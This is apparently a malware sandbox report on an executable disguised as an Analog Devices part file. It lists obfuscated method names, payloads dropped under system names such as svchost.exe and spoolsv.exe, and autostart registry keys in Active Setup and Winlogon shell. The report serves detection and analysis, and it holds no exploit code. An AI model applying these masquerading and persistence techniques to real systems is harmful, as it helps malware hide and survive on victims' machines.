Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, OX2b8AkuDLXhQbOilc.cs	High entropy of concatenated method names: 'Dispose', 'fEKsZlab85', 'DSefjogn4o', 'wKcbbYkjDS', 'ExrsRKbcfs', 'C0mszvbTaD', 'ProcessDialogKey', 'eHmfxmPjrP', 'ofgfs37J2t', 'AOUff0DvLk'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, MZkYHCpfofUUs915rR.cs	High entropy of concatenated method names: 'MnvASY7q0U', 'qCcAHueLFO', 'upyAc16gZy', 'BUyAXxV5JG', 'MOUAnmv3Eg', 'JTXAdsLYFr', 's3NApSek7H', 'B2WAFIG8xK', 'srqAlHStls', 'OFTAIs6lT7'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, DZGTglS8e0eCJ9lRRS.cs	High entropy of concatenated method names: 'TDZoCUdP1q', 'uaJojXxN0v', 'DOqotDZKVE', 'rdlo63MV3f', 'xN1oJ7saKU', 'MuIo4kbTCI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, e9tB84FpCnymZpQ6TG.cs	High entropy of concatenated method names: 'jpN9DTDhE4', 'vLY9We0GIP', 'aJ49JVtvcb', 'mLM90TdPrf', 'gax9jW3ZZ3', 'Au69trPNJk', 'Vp696PqRhp', 'aDZ94WfhLT', 'iHr9i64pcw', 'aX39w7UFD5'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, pgCFbFHYWvm0GskofL.cs	High entropy of concatenated method names: 'XmxAGvAOVy', 'ckdAMWN3O0', 'XYXABPepE7', 'assBRLVC2Q', 'WT5Bz4tSjj', 'zwCAx5Avqo', 'beJAsY4qtk', 'x1rAfq4yfj', 'UghAO4FJq5', 'kbHA73MO1n'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, pCjeI2niMiVMnRI3RB.cs	High entropy of concatenated method names: 'dtryJtJB1K', 'MTvy0PRnVe', 'b5LyYyvQ5g', 'Dfeym7jcsl', 'c9By1yWS4V', 'Fp6yK3Rf9Z', 'I2eyQhOV52', 'ABkyqlcTp1', 'HTRyZ9xvbr', 'FF2yRj9Nxu'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, b5hckvz6YtEdKGAi2C.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BCqau82KXn', 'a2Ca9D8V8W', 'E0Va8Rp29q', 'COWag9bn7h', 's5faoHh4ok', 'koJaa6212d', 'DxSa3lsoP1'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, gG0Yjlvv7QHSwd0Pak.cs	High entropy of concatenated method names: 'QCfoGqpY15', 'UP9oySFHmx', 'wQVoMkwyrE', 'WsIoLS8UYQ', 'e8ZoBWPbfo', 'fYvoAlQ7Fd', 'yGZo53HimF', 'AanoNJBBRs', 'hAXoeOcSBe', 'WdBokLpaHY'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, hD2JTUrrIwOiIhkqh4R.cs	High entropy of concatenated method names: 'ToString', 'Oup3OAZT1n', 'ziQ37xCiEb', 'Fm43VUWbb2', 'Crr3GalMYq', 'KKK3yEtQVm', 'p7j3MSKTPv', 'eFB3LRCf9q', 'DeLCEmf7KsN1pw7bRI5', 'CWtJPdfQ5s9uYAKoS2p'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, BF6AxEhkBwQnpk58vv.cs	High entropy of concatenated method names: 'iQeMX6pkTT', 'addMdpswDn', 'aTgMFUffre', 'B58MlqKtv4', 'IbpM91e83K', 'ntpM8jK961', 'aUXMgBi52E', 'J28Morl5BJ', 'h9UMakqSXe', 'qMUM3mGt3B'
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .7a90000.5.raw.unpack, PhtUi1x6iItutmw9FH.cs	High entropy of concatenated method names: 'WQJasJjuNG', 'UIDaO6iqgW', 'lega7Ivasa', 'jw7aGDBgvL', 'KXVayXbOMD', 'L02aL8KrfJ', 'i6yaByy9nb', 'NjdoQRMrJd', 'COuoqTipCs', 'vNOoZYRkwq'

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Windows\System\spoolsv.exe	File created: C:\Windows\System\svchost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: C:\Windows\System\explorer.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\System\spoolsv.exe	Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System\svchost.exe	Executable created and started: c:\windows\system\spoolsv.exe
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Executable created and started: c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Executable created and started: c:\windows\system\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	File created: \adsp-21593bbpz10 analog devices, inc. 5000.exe	Jump to behavior

Source: C:\Windows\System\spoolsv.exe	File created: C:\Windows\System\svchost.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Users\user\AppData\Roaming\mrsys.exe	Jump to dropped file
Source: C:\Windows\System\svchost.exe	File created: C:\Users\user\AppData\Local\stsys.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	File created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: C:\Windows\System\explorer.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\System\spoolsv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	File created: C:\Users\user\AppData\Local\icsys.icn.exe	Jump to dropped file

Source: C:\Windows\System\spoolsv.exe	File created: C:\Windows\System\svchost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: C:\Windows\System\explorer.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\System\spoolsv.exe	Jump to dropped file

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

File created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\System\explorer.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\explorer.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\explorer.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon shell	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
